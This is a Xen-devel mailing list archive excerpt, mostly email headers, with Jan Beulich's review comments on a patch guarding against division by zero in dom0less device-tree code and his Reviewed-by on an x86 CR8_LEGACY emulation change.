         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=FS+okSTrlpGdNwPnNqvozFFhLfsc0f1GG8/L1AHK2l8=;
        b=hpHPdLBZm4DeNB8bwjw8KgxX1SuSsPP08Ypizfh9C8rrrdUo/4KPrt1DYvSc/f7+4p
         NPdltV8J7njKuz4flRsVgQr0LyXyXv3ddeiOjk2LiswhWtVDTwJNdr5D1T0aZQuO9fzI
         1BkTYe3Sfeuu0GKe3QnXp/iEg2l9N/BdOjeKlRYv1xVZZaQv+aHa0PTHSO2J5dYrDvQN
         79R2A1n08ij2vQlwf53YtoBFId6tFkOkPuFQdy2zW4Y3ECn5KGwRmmYI9m+rxA6irgwm
         4Uj8AiIgBV7Kz9b/mmMJCGlYh3BtKcmyIa/GAmqo84nwZemgLjFv78AyIXShz3uEEmP6
         zXdA==
X-Forwarded-Encrypted: i=1; AHgh+Rq7Kfgp7NIESJXWM549b/Jymp9G5yGbcgOatnAgwH1tTOhCGCSSzSwcewmnCK0U1Blg1bgpyDRFlYs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwKHbfwBfIi/T3u4FfC0T2RUjj9Xo4R8Y+0TaNQ8suLSh+yYM0S
	FR4uqliMdFgLn+5TZw0l2FCFkUvQq1XhQQ1gW9qRU1KfgrExQPPfFZRPGxL/MJc6cg==
X-Gm-Gg: AfdE7ck4YOupMMbEuFi8uey7uwuBwR55Z6yNOs3nG6UnhZ2LDHI8aDCrMqznU7EmAvM
	k6Gpz6Y3P0vw46nTAP5ZW9wOSTm518JmU1yv/bJBDyKR3tLbl4U33wJnzhQEv6DINtAZTRQ4Kpu
	xl/flKhOTFF+lCONFftgnPa9GKA81aPQoBOy1HMlUECsLASGBBXEfmm9aD90SZaBA3WzdL4JuGt
	7Kzs2sK4DYmau7mWOQ9Gr6fGd+uimVAZxpwdaNtddErN2TwmjUdhENj5RsMA0MlHqkFKRjVG4nV
	OGWxm6ZPasKqxULJib60miHOxfy6p2DBGLiPwM99rxgAy+cUWhevjhAFvjJV3dtsq1qqOCgRX5Z
	G9iKt69kD75Sgg0O2aXWPerBl4m/g2prco3Whdj39sM3YxWIfaOs1H2hlCLtHnRMh7kZ0w8crio
	JL+r7O5K4dYby07FvEYZbyEDZwvmFm6E7/TQFHVvPMtsXr1YTULVdONMa3QgkVYErRR1h+A0KVl
	xjG
X-Received: by 2002:a5d:5f82:0:b0:461:9950:da50 with SMTP id ffacd0b85a97d-47df07a9521mr854249f8f.11.1783491339602;
        Tue, 07 Jul 2026 23:15:39 -0700 (PDT)
Message-ID: <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
Date: Wed, 8 Jul 2026 08:15:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe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ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783491340-93536D51-0C527B83/0/0
X-purgate-type: clean
X-purgate-size: 1869

On 07.07.2026 18:08, Oleksii Kurochko wrote:
> On 7/7/26 5:16 PM, Dmytro Prokopchuk1 wrote:
>> --- a/xen/common/device-tree/dom0less-build.c
>> +++ b/xen/common/device-tree/dom0less-build.c
>> @@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>>   
>>       /* xen,reg specifies where to map the MMIO region */
>>       cell = (const __be32 *)xen_reg->data;
>> +
>> +    if ( (address_cells * 2 + size_cells) == 0 )
> 
> Considering that this calculation happens second time here ...
> 
>> +    {
>> +        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)\n");
>> +        return -EINVAL;
>> +    }
>> +
>>       len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>                                           sizeof(uint32_t));
> 
> ... I think it would be nice to calculate that once.

Hmm, originally I meant to simply stay silent here. But now that you say this,
I'd like to express that I find this 2nd calculation of the same expression
bogus. If the goal is to deal with both values being zero at the same time,
check that (and nothing else). If instead the goal is to truly prevent the
divisor expression from ending up 0, that (and not a shorter surrogate) would
need checking. In particular, the multiplication by sizeof(uint32_t) can
convert non-zero to zero.

At that point the question then would be whether overflow (and hence
truncation) in any of the involved expressions shouldn't also be detected /
rejected.

Finally, as we're already touching on this code: sizeof(uint32_t) also is
bogus, and it is a good example of why sizeof(<expression>) is to be
preferred over sizeof(<type>): What's meant here is - afaict - sizeof(*cell),
i.e. sizeof(__be32). (Imo using sizeof() with the wrong type is worse than
writing simply 4.)

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 06:26:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 06:26:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356622.1611193 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLjX-0003ga-Dj; Wed, 08 Jul 2026 06:26:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356622.1611193; Wed, 08 Jul 2026 06:26:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLjX-0003gT-Ae; Wed, 08 Jul 2026 06:26:11 +0000
Received: by outflank-mailman (input) for mailman id 1356622;
 Wed, 08 Jul 2026 06:26:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whLjV-0003gN-SS
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 06:26:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whLjT-00FwJl-4l
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 08:26:07 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ded7e-5cb7-0a2a0a5109dd-0a2a4508be7e-2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 08:26:07 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ded7d-edec-0a2a45080019-d155802eb928-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 08:26:06 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493c52cde9eso1994005e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 23:26:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f3676dsm118096255e9.5.2026.07.07.23.26.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 23:26:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783491965; x=1784096765; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PScbhrhXgRMKOyxbzM2AzuElAiWNO91fopZVnqyuhA0=;
        b=MaMbNmobWEar48YJw9686KyA8VqH6XISSHhNQT7RKNCjNCxk3hL76KOW8BxeRHRTWa
         3ZzZootj2f4PHFqvSKC4Ecn0iB7+OreKgazicK7T3hFi+j4iUK12DPZq1YED6t9SkKdY
         DOwrYwV8YDkymwjYruzTB1LiHq1+MzM+gTVwRIUefj18K3pESKFXliczzfik9hmpjA6N
         yjQeMcCY95CsXB+6v0+HXD/7FxWmSUFZ2CtMJ/YcVYSFNGSx7VsBloO+YfxOogLXByZf
         7l53kQvp//BqxauTlBmwyRu7G/OoLKJuY34ibt8OnlbbtjSuuMF32LwPTijv73SvLkTZ
         zLwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783491965; x=1784096765;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=PScbhrhXgRMKOyxbzM2AzuElAiWNO91fopZVnqyuhA0=;
        b=ZK2zD2jG8JkU07Z6lXALgrLsR6KpOmMBVHoumYil2mjqUfAm/BqnfYRg6Kd1BBR/qK
         D59b4NpbVdGaldppZVYfh3nYfpEqo6zqyajB4xkt+Hkp63/lDaK4S8Kdh3Y/9+9r/Kw3
         PY1K4PfrdOV75YQwQN09Kxzkm/HL6r/KzuF6AUYkdVbjpzBn8bd2I45IYLTTunnB2BYO
         PmXMGEOe35Mdi+ifNduyOKr0HzNfFLTsbkcywn8ijJ3CINLKxBoFkPfDVODzLgRSSGlm
         kAeBFAoJuxWplj/nrHzYuFputPnae0pTp7Gr64r97uNAiLMaPmgvsz9hg+qqgsa9m0dU
         6rxQ==
X-Forwarded-Encrypted: i=1; AHgh+RorYLnb/cezDKjhWMvAXVKSgf6/83IO25GnhWtVwxk8IkH4b9aIe9pDGikzEu9xX29CZKO9rjcco6U=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzQON/4gw71Tmp88oAeqFXwAuloJOtFnI6BfTaj2PWnKaSBrbau
	pJUAniw+Jr0LRdC8L6JEPNcOB74r2wEiPc43FIg8ETiyksbxtWUinspNUcTqGQOerA==
X-Gm-Gg: AfdE7cm0g3r70gZTVh5gm4ksFUHRZOeMncikRvq3c65VL2AAYi04P3N4xcNEhfpuhFU
	OSpAiz98xmAFAdcHrP1mEz2gOR8AjQ9c+kNZ0CQsp0FR0WQHhSCTOpQLBa+hPiDdCV8F4Scz8lx
	+/V21g9Eb4tJOXpPG5HbNAnS14o/zqzyVrQ53TfzJjck0Hc7kYRBTc3J7R1kM95CG4WK1nxEzJy
	1bBFiNQcmvKbmHW2Oi11VdTON31FIAPr0soAammIYJ/xziYrAYNE/j695AwbP6+biq03HEFCXGH
	CVRz16Ty2ezGu0FWZhNa+jDVJfMJI1N9h4qY73rD1VF2G+FHYVhDB385T+mk0FfjjRtjj5KBeOY
	/vCiRSU+x3GBZ+nF0u7KvrAvXgQo3IuK85Qt0nRpJTj0YsdfhUcFeIXDaKhGk8b8Uw1O0/fPf6+
	pv8fHRjHWbvYyZ7GQA3HZTy1vGKy2gYtL0V0A7/QRLnFN92Dv2A/SrPttxoNTbg//ArdGCew9Ig
	D4VQ2hTc7lckUU=
X-Received: by 2002:a05:600c:8284:b0:493:b243:8ffc with SMTP id 5b1f17b1804b1-493e68ec789mr10428095e9.35.1783491965696;
        Tue, 07 Jul 2026 23:26:05 -0700 (PDT)
Message-ID: <7b643c30-b0e8-4e62-ad8c-1814e0ebb128@suse.com>
Date: Wed, 8 Jul 2026 08:26:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1783491966-40F2A3FC-8939D467/0/0
X-purgate-type: clean
X-purgate-size: 609

On 07.07.2026 21:49, Andrew Cooper wrote:
> The APM description of the AltMovCR8 feature bit is:
> 
>   "LOCK MOV CR0 means MOV CR8"
> 
> Adjust the decode logic to behave like this.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>
on the basis that ...

> v3:
>  * Change yet again.  A contact with information on the matter confirmed that
>    it is a special case for Reg = 0, and not a general modifier to all Reg
>    values.

... we simply have to trust this source, short of this being properly described
in the APM.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 07:07:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 07:07:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356632.1611202 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whMNe-0000iL-EE; Wed, 08 Jul 2026 07:07:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356632.1611202; Wed, 08 Jul 2026 07:07:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whMNe-0000iD-A0; Wed, 08 Jul 2026 07:07:38 +0000
Received: by outflank-mailman (input) for mailman id 1356632;
 Wed, 08 Jul 2026 07:07:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whMNd-0000go-5m
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 07:07:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whMNb-00GZJo-Ub
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:07:35 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4df737-5cb7-0a2a0a5109dd-0a2a4502c76c-0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 09:07:35 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4df737-5a27-0a2a45020019-d1558033ddc9-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 09:07:35 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493c2c0b9a8so2353635e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 00:07:35 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f51193sm116283825e9.12.2026.07.08.00.07.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 00:07:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783494455; x=1784099255; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=IlgP6o8P3+QTU56avtjZ6NtN6wrlyE7EMZj2/RyLlxA=;
        b=CDLsEHaIjZoh/XTStGfjSV1eMz5lMLBoVaZQV0fBHU1RF7boX5yyngrAHdT0lzAoJ9
         rdcQJdoC4qTst94wkY1rjxmvjZwLKIryO06PEHP4NWw1htQdYdbCAwcUY6euGfhQNoMt
         M7U2zLNk+T3t8m/WLGebcxiCOYsO6sYLb42XKtUtMSsREoqRLMa5TtEIGL9zF35NxNop
         7SbzdkLjvmrhXnpbpgQg/JDMwHcDsiNxGIcoR9Hc0BsffLMVIuaspKCCLdcTqoXn4Oes
         aQB08LUGsEHA5gsZWfwi1GmWhPLCgXfJUhatfREE7i7q0zg5E1nuBG4S36aLX3CKrj8J
         J8WQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783494455; x=1784099255;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=IlgP6o8P3+QTU56avtjZ6NtN6wrlyE7EMZj2/RyLlxA=;
        b=PybGLOWWwbU5zkeV0lSpN2yVnB5xKmFqSPhCouhke+idHNJezMlj/o+TcdNGQ/eoJr
         ecYl9aj/Ig2Ps3guIR+MICY5hy/NGGk07EISCsXZhIKnQnZy50ZKiLFUQjPIpSqb9FI9
         nuTHqOB5k85SmBwBpBBNz3isanmcQKYK3br79X41q+r0sQxweY3TwHwOz2CARP/016+x
         DFJ70VpqzVBJFp4jamDsiWGvC73gBA9VILfs0U32VD2RtkeeB458wDDWzLoh9+OmbLrj
         hUixPTjRAcImkENw27S+CXebTY30WA7uP2oGTBXm+E2fJ5FsHkcSfdpvr1vuxtwjNpUK
         9tiQ==
X-Forwarded-Encrypted: i=1; AHgh+Rr1+16fqISmHBcDy5rRU48Lo7oJquepCRKq7/+BGX7PoDq9gcxSa9OwjVoqmwDEJIo9Jjm1D7y+T2E=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxacE09JbBRz83L/k3Re5SAX2qiz2sEuwo6t6iJhrrhsm5Y6c0A
	vgcZ4x8l29tA4Fq2LthruE2R0C2IrHrbNW2Mt73RgbMsGFEftRddQCKb2oIxsxXhgA==
X-Gm-Gg: AfdE7ckZgQur+oHh6e8/w9Ak0dQULAzeRsssMfSDXbizszqQ79XBr8OXCZ3jc0rU+k0
	u7XVLhiyIPgk14qxi+rCC01/h1zlddqeDL9Zipa1xvV8UaLjdEwkXOlZ8v9Wi6tc0j2YD4htVZ8
	F2Ns+V59/Jud+Q0afHlysO18cjXLHPsE84sovSWAMZbmqjbkVuEw6B7HoKlAFolJZIgyI6zQBlt
	TDAK/C6BAD9IBsZbftMjFLIgk0EK35S051A0XgdD9CuH8I+fY3C6/FmMlJ3Oh/J091x26I5fSxl
	m0x08DoCZ6l5+HubAdBI+CzEl6cMEp/m/5bJ+RNmm9oCSO1dvTp8RpsYbxLqeyPHT/yN38yNiAH
	7JOrlr0SkB7A6ud2Bvg/0lcXaoz6EUpi6/gN9wVP1b80JGs4tSYYH0xHzXUBloUQ0VRiLOaBFNr
	vXKFMQXLeUCV+duz4OWepKxSoCimGCER72aMDI70VljZSrTr0QaKIw3+ZLRRFVxfxiMgTVaxBmP
	+R4
X-Received: by 2002:a05:600d:8444:10b0:493:de4b:de17 with SMTP id 5b1f17b1804b1-493e68c5ee4mr8020315e9.14.1783494454996;
        Wed, 08 Jul 2026 00:07:34 -0700 (PDT)
Message-ID: <7b6e99b4-f2be-4bbe-b29f-98a02b0a231f@suse.com>
Date: Wed, 8 Jul 2026 09:07:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/vmx: Fix cascade crash in vmx_vmentry_failure()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707193521.1423908-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260707193521.1423908-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
